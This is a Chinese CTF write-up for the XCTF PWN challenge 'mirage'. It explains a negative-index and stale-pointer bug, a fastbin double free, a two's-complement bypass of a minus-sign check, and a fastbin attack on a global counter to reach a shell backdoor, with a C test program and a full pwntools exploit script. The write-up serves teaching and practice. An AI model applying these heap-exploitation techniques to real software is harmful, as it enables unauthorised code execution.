攻防世界PWN之mirage題解

Mirage

首先,我們檢查一下程序的保護機制

然後,我們用IDA分析一下

看似複雜,但是我們的關注點在這裏

當我們的初始化數據包滿足條件,就能顯示出菜單。

一個經典的增刪查程序

Delete操作裏有兩個漏洞,一個是下標可以負向越界,另一個是對於下標大於46的,堆指針會被保留在數組裏

而程序實際可以創建到下標48處(即49個堆),

那麼,對於下標爲47的堆,可以被我們double free,由於都是fastbin範圍的塊,我們需要讓fastbin形成循環單鏈表。因此,我們delete(47)delete(0)delete(46)即可。

爲什麼第三個是delete(46),因爲我們delete(0)後,原先在47位置的堆指針賦值到了46處。

程序在功能5有一個後門

不過需要chunk_number+8處數據滿足條件。因此,我們用fastbin attack來攻擊chunk_number。

我們控制chunk_number在0x20~0x2F的範圍,使它僞造成一個chunk的size,這樣,我們就能把它鏈接到之前的fastbin鏈表裏,通過申請,就能申請到此處。

爲了讓chunk_number減少2個,但又不往fastbin裏面新增chunk,我們可以delete()兩個個空指針。於是我們執行兩次的delete(-2)

不過,我們直接輸入-2是不行的

因爲負號會被檢測到,由此,我們採用補碼的形式傳入即可

  1. #-2處是空的,free()空指針不會出錯,我們可以讓count減去2  
  2. for i in range(2): #騰出兩個空間  
  3.    #delete(-2)  
  4.    delete(0x100000000-2)  

然而,當我們delete(-2)後,變成這樣了

有堆的地址寫到了fake_chunksize的區域,如果把它鏈接到0x20fastbin,申請看似會出錯。

然而,事實是不會出錯。這是怎麼回事??

我們來做個試驗

 

編譯這段c語言代碼,發現堆成功申請到目標地址處

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main() {
   printf("uint size=%d\n",sizeof(unsigned int));
   char *p1 = (char *)malloc(0x10);
   char *p2 = (char *)malloc(0x10);
   free(p2);
   free(p1);
   *((int64_t *)(p2-0x8)) = 0xFFFFFFFF0000002F;
   char *p3 = (char *)malloc(0x10);
   char *p4 = (char *)malloc(0x10);
   strcat(p2,"P4P4P4P");
   printf("*p4=%s,*p2=%s",p4,p2);
   return 0;
}

我們發現,size域高4字節數據對僞造的fastbin沒有影響。

我們來看看glibc的源碼

  1. /* offset 2 to use otherwise unindexable first 2 bins */  
  2. #define fastbin_index(sz) \  
  3.   ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)  

注意到size被強制轉換爲unsigned int後再進行的計算。而unsigned int爲4字節。這就解釋的通了。這也是我的新發現

綜上,我們完整的exp腳本

#coding:utf8
from pwn import *

sh = process('./mirage')
chunk_number_addr = 0x60514C

def init_connection():
   sh.send('RPCM' + p32(0) + p32(0x42,endian = 'big'))

def create(content):
   sh.sendlineafter('> ','1')
   sh.sendafter('content: ',content)

def show(index):
   sh.sendlineafter('> ','2')
   sh.sendlineafter('id: ',str(index))

def delete(index):
   sh.sendlineafter('> ','3')
   s = str(index)
   #sh.sendafter('id: ',s)
   sh.sendlineafter('id: ',str(index))

init_connection()
for i in range(49):
   create('a'*0x4)

#形成雙向鏈表
delete(47)
delete(0)
#delete 0 後,原來47的位置的指針移動到了46
delete(46)
#-2處是空的,free()空指針不會出錯,我們可以讓count減去2
for i in range(2): #騰出兩個空間
   #即delete(-2)
   delete(0x100000000-2)
raw_input()
#將chunk_number_addr處的空間鏈入0x20大小的fastbin
#爲了將chunk_number處的空間鏈入0x20大小的fastbin,我們需要讓chunk_number接近0x20僞裝成size
create(p32(chunk_number_addr - 0x8))
create('a'*0x4)
create('a'*0x4)
create(p32(0x100000000-17))
#getshell
sh.sendlineafter('> ','5')

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章